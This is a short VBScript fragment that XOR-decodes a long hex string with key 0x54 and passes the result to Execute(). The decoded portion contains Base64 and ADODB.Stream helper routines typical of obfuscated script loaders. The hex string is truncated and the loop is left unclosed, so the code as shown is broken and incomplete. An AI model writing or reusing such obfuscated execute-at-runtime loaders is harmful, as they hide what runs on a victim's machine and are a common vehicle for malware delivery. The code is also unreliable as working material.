Dim a1, b2, c3, n, d4
a1 = &H54
b2 = _
Chr(&H35) & Chr(&H65) & "737416352731626074113a373b303d3a337412213a37203d3b3a275e12213a37203d3b3a741635273162" & _
"60113a373b30317c2700312c207d5e74747474103d39743b0c191878743b1a3b30315e74747474073120743b0c19187469741726313520311b363e3137207c7619272c3938667a101b19103b372139313a207a677a64767d5e74747474073120743b1a3b30317469743b0c19187a17263135203111383139313a207c76363527316260767d5e747474743b1a3b30317a30352035002d243174697476363d3a7a363527316260765e747474743b1a3b30317a3a3b3031002d24313002353821317469740720263135390b0720263d3a33003b162d2031277c2700312c207d5e74747474163527316260113a373b3031746974063124383537317c3b1a3b30317a20312c20787422361832787476767d5e113a307412213a37203d3b3a5e5e12213a37203d3b3a740720263135390b0720263d3a33003b162d2031277c2700312c207d5e74747474103d39743b0720263135395e74747474073120743b0720263135397469741726313520311b363e3137207c7615101b10167a072026313539767d5e747474743b0720263135397a002d2431746974665e747474743b0720263135397a173c3526273120746974762120327965623831765e747474743b0720263135397a1b24313a5e747474743b0720263135397a03263d203100312c20742700312c205e747474743b0720263135397a043b273d203d3b3a746974645e7
For n = 1 To Len(b2) Step 2
d4 = Chr(CLng("&H" & Mid(b2, n, 2)))
c3 = c3 & Chr(Asc(d4) Xor a1)
Execute(c3)